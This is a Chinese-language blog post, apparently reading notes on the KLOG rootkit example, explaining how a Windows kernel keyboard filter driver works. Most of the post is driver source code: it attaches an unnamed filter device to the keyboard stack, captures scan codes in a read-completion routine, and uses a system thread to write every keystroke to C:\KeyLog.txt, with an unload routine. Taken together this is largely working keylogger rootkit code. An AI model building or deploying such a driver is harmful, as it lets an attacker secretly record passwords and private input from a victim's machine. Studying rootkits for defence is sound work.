A Kernel Key Logger

http://blog.sina.com.cn/s/blog_5371d2790100e4rc.html

 鍵盤過濾驅動核心思想總結

可以參考另外一篇文章《Designing A Kernel Key Logger》,這兩篇文章都是關於鍵盤記錄的,相互補充,相得益彰.....

    該鍵盤過濾驅動程序是《ROOTKIT---window內核的安全防護》一書中的例子。原型就是KLOG rootkit,寫這個文檔的主要目的是記錄自己在調試、學習過程中的一些認識、心得、體會。全當讀書筆記

該驅動的工作原理是:在系統鍵盤設備上掛接一個我們自己創建的設備對象,這樣當擊鍵行爲發生時,擊鍵請求首先被我們的過濾驅動設備所捕獲,從而實現擊鍵行爲的記錄。

 

    要捕獲的IRP請求是:IRP_MJ_READ請求,對於其他的IRP請求,直接將其傳遞給下層設備對象處理。

   注意:這個驅動程序沒有設置控制設備對象(即用戶應用程序和驅動程序交互的設備對象)

      

下面根據函數的執行流程來做個粗略分析

一、DriverEntry函數

      該函數主要做一些初始化工作,比如設置分發例程、初始化全局變量、創建用於記錄擊鍵行爲的線程、attach過濾驅動、打開日誌記錄文件。

(1)設置分發例程

for (i = 0;i < IRP_MJ_MAXIMUM_FUNCTION; i ++)

    pDriverObject->MajorFunction[i] = DispatchPassDown;

 

pDriverObject->MajorFunction[IRP_MJ_READ] = DispatchRead;

pDriverObject->DriverUnload = DriverUnload;

(2)將過濾驅動程序attach到系統的鍵盤設備上。

HookKeyBoard(pDriverObject);

(3)創建線程,用於記錄擊鍵行爲。------因爲在驅動程序IRP處理函數中不能執行文件操作,所以我們必須要創建一個線程來執行寫日誌操作。

InitThreadKeyLogger(pDriverObject);

(4)初始化全局變量

    //QueueListHead是一個ListEntry結構的共享鏈表,其中記錄了所有的擊鍵動作。

InitializeListHead(&pKeyboardDeviceExtension->QueueListHead);

    

    KeInitializeSpinLock(&pKeyboardDeviceExtension->lockQueue);

    //initialize the work queue semaphore

KeInitializeSemaphore(&pKeyboardDeviceExtension->semQueue,0,MAXLONG);

(5)打開文件C:KeyLog.txt以記錄擊鍵動作。

RtlInitUnicodeString(&unifileName,L"\??\C:\KeyLog.txt");

    

InitializeObjectAttributes(

        &objectAttributes,

        &unifileName,

        OBJ_CASE_INSENSITIVE,

        NULL,

        NULL);

 

    ntStatus = ZwCreateFile(

        &pKeyboardDeviceExtension->hLogFile,

        GENERIC_WRITE,

        &objectAttributes,

        &file_status,

        NULL,

        FILE_ATTRIBUTE_NORMAL,

        0,

        FILE_OPEN_IF,

        FILE_SYNCHRONOUS_IO_NONALERT,

        NULL,

        0);

    if (!NT_SUCCESS(ntStatus))

    {

        DbgPrint("Failed to create log filen");

        DbgPrint("File status = %xn",file_status);

    }else{

        DbgPrint("successfully created log filen");

        DbgPrint("file handle = %x n",pKeyboardDeviceExtension->hLogFile);

}

二、分發例程

在這個驅動程序中我們只關心兩個分發例程DispatahPassDow和DispatchRead

(1)DispatchPassDown

這個分發例程中,我們不兌RIRP請求做任何處理,只是簡單的傳遞給下層的設備對象。

NTSTATUS

DispatchPassDown(

   IN   PDEVICE_OBJECT deviceObject,

   IN  PIRP         pIrp)

{

   DbgPrint("Entering DispatchPassDown Routinen");

   IoSkipCurrentIrpStackLocation(pIrp);

   return  IoCallDriver(((PDEVICE_EXTENSION)deviceObject->DeviceExtension)->pKeyboardDevice,pIrp);

    }

(2)DispatchRead

當一個READ請求到達鍵盤控制器時,就調用該函數。這時IRP中並沒有可用的數據,相反,我們希望在捕獲了擊鍵動作之後察看IRP-----當IRP正在沿着設備鏈向上傳輸時,所以我們應該設置一個完成例程來操作正在返回的IRP請求。所以DispatchRead例程的主要工作是設置完成例程。

    //設置完成例程

    IoSetCompletionRoutine(

        pIrp,

        OnReadCompletion,

        deviceObject,

        TRUE,

        TRUE,

        TRUE);

    

    numpendingIrps ++;

    //將IRP請求傳遞給下層的設備

return IoCallDriver(((PDEVICE_EXTENSION)deviceObject->DeviceExtension)->pKeyboardDevice,pIrp);

   這樣,每個IRP_MJ_READ請求在返回的時候都會在OnReadCompletion得到進一步的處理。下面看一下OnReadCompletion函數怎麼處理返回的IRP請求。

    //檢查IRP的狀態,如果是STATUS_SUCCESS則說明IRP已經完成並且應該已經記錄了擊鍵數據。

    if (pIrp->IoStatus.Status == STATUS_SUCCESS)

    {

        keys = (PKEYBOARD_INPUT_DATA)pIrp->AssociatedIrp.SystemBuffer;

        numkeys = pIrp->IoStatus.Information /sizeof(KEYBOARD_INPUT_DATA);

        

     //遍歷所有的數組成員,從每個成員中獲取擊鍵動作

        for(i = 0; i < numkeys; i ++)

        {

             DbgPrint("ScanCode:%xn",keys[i].MakeCode);

             if (keys[i].Flags == KEY_BREAK)

                  DbgPrint("%sn","Key Up");

             if (keys[i].Flags == KEY_MAKE)

                  DbgPrint("%sn","Key Down");

 

             //分配一些NonPagedPool內存,並將掃描碼放入其中,然後將其置入全局鏈表中。

             kData = (KEY_DATA *)ExAllocatePool(NonPagedPool,sizeof(KEY_DATA));

             

             //fill in the kData structure with info from IRP

             kData->KeyData = (char)keys[i].MakeCode;

             kData->KeyFlags = (char)keys[i].Flags;

 

             //add the scan code to the linked list queue so our worker thread

             //can write it out to a file

             DbgPrint("Add IRP to work queuen");

             ExInterlockedInsertTailList(

                  &pkeyboardDeviceExtension->QueueListHead,

                  &kData->ListEntry,

                  &pkeyboardDeviceExtension->lockQueue);

 

             //Increment the semaphore by 1

             KeReleaseSemaphore(

                  &pkeyboardDeviceExtension->semQueue,

                  0,

                  1,

                  FALSE);

        }

    }

 

    //mark the IRP pending if necessary

    if (pIrp->PendingReturned)

        IoMarkIrpPending(pIrp);

    

    //remove the Irp from out own count of tagged IRPs

    numpendingIrps --;

    return pIrp->IoStatus.Status;

    }

此時鏈表中已經保存了一個擊鍵動作,這樣寫日誌線程就可以工作了。我們在後面討論寫日誌線程的工作。

三、將過濾驅動attach到系統鍵盤設備上------ HookKeyBoard

(1)創建過濾設備+設置設備標記

注意,過濾設備對象一般都沒有名字,這裏要創建的設備對象也沒有名字,類型爲FILE_DEVICE_KEYBOARD。

   ntStatus = IoCreateDevice(

        pDriverObject,

        sizeof(DEVICE_EXTENSION),

        NULL,

        FILE_DEVICE_KEYBOARD,

        0,

        TRUE,

        &pkeyboardDeviceObject);

    if (!NT_SUCCESS(ntStatus))

        return ntStatus;

    //新設備的標記應該設置爲與底層鍵盤設備的標記相同

   pkeyboardDeviceObject->Flags = pkeyboardDeviceObject->Flags |(DO_BUFFERED_IO | DO_POWER_PAGABLE);

    pkeyboardDeviceObject->Flags = pkeyboardDeviceObject->Flags & ~DO_DEVICE_INITIALIZING;

    DbgPrint("Flags set successfullyn");

    

    //initialize the device extension

    RtlZeroMemory(pkeyboardDeviceObject->DeviceExtension,sizeof(DEVICE_EXTENSION));

    pkeyboardDeviceExtension = (PDEVICE_EXTENSION)pkeyboardDeviceObject->DeviceExtension;

(2)將過濾驅動attach到底層鍵盤設備上

    RtlInitAnsiString(&ntNameString,ntNameBuffer);

    RtlAnsiStringToUnicodeString(&ukeyboardDeviceName,&ntNameString,TRUE);

    IoAttachDevice(pkeyboardDeviceObject,

        &ukeyboardDeviceName,

        &pkeyboardDeviceExtension->pKeyboardDevice);

 

    RtlFreeUnicodeString(&ukeyboardDeviceName);

      至此,過濾驅動的掛載就完成了,下面就可以過濾所有的鍵盤操作了。接下來是創建一個用於寫日誌的線程。

四、創建線程,執行寫日誌操作

主要工作:調用PsCreateSystemThread創建線程、根據線程句柄獲得線程對象,然後將該對象保存在DEVICE_EXTENSION對象中。

NTSTATUS

InitThreadKeyLogger(

    IN  PDRIVER_OBJECT pDriverObject)

{

    HANDLE            hThread;

    NTSTATUS ntStatus =STATUS_SUCCESS;

    PDEVICE_EXTENSION pkeyboardDeviceExtension = (PDEVICE_EXTENSION)pDriverObject->DeviceObject->DeviceExtension;

    //set the worker thread to running state in device extension

    pkeyboardDeviceExtension->bThreadTerminate = FALSE;

 

    //create thread

    ntStatus = PsCreateSystemThread(

                                &hThread,

                                (ACCESS_MASK)0,

                                NULL,

                                (HANDLE)0,

                                NULL,

                                ThreadKeyLogger,

                                pkeyboardDeviceExtension);

    if (!NT_SUCCESS(ntStatus))

        return ntStatus;

 

    //obtain a pointer to the thread object and store it in DEVICE_EXTENSION

    ObReferenceObjectByHandle(

             hThread,

             THREAD_ALL_ACCESS,

             NULL,

             KernelMode,

             (PVOID *)&pkeyboardDeviceExtension->pThreadObj,

             NULL);

 

    ZwClose(hThread);

 

    return ntStatus;

}

下面看ThreadKeyLogger函數的執行過程。

(1)函數進入一個循環,代碼通過KeWaitForSingleObject等待信號量。若信號量遞增,則處理循環繼續運行。

(2)通過工具函數ConvertScanCodeToKeyCode將獲取的掃描碼轉換成鍵盤碼。

(3)然後執行寫日誌操作。

五、卸載例程

VOID

DriverUnload(

    IN PDRIVER_OBJECT pdriverObject)

{

    KTIMER            kTimer;

    LARGE_INTEGER timeout;

    PDEVICE_EXTENSION pkeyboardDeviceExtension = (PDEVICE_EXTENSION)pdriverObject->DeviceObject->DeviceExtension;

 

    DbgPrint("Entering DriverUnloadn");

 

    //取下分層設備的過濾驅動對象

    IoDetachDevice(pkeyboardDeviceExtension->pKeyboardDevice);

    

    //進入一個循環,直到所有的IRP都處理完

    timeout.QuadPart = 1000000;//1s

    KeInitializeTimer(&kTimer);

 

    while(numpendingIrps > 0)

    {

        //set the timer

        KeSetTimer(&kTimer,timeout,NULL);

        KeWaitForSingleObject(&kTimer,Executive,KernelMode,FALSE,NULL);

    }

 

    //set the key logger worker thread to terminate

    pkeyboardDeviceExtension->bThreadTerminate = TRUE;

 

    //wake up the thread if it's blocked &waitfor*** after this call

    KeReleaseSemaphore(&pkeyboardDeviceExtension->semQueue,0,1,TRUE);

 

    //wait till the worker thread terminates

    DbgPrint("Waiting for key logger thread to terminaten");

    KeWaitForSingleObject(pkeyboardDeviceExtension->pThreadObj,

                             Executive,

                             KernelMode,

                             FALSE,

                             NULL);

    //close the log file

    ZwClose(pkeyboardDeviceExtension->hLogFile);

 

    //delete the device

    IoDeleteDevice(pdriverObject->DeviceObject);

    DbgPrint("Tagged IRPs dead terminating.....n");

 

    return;

}

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章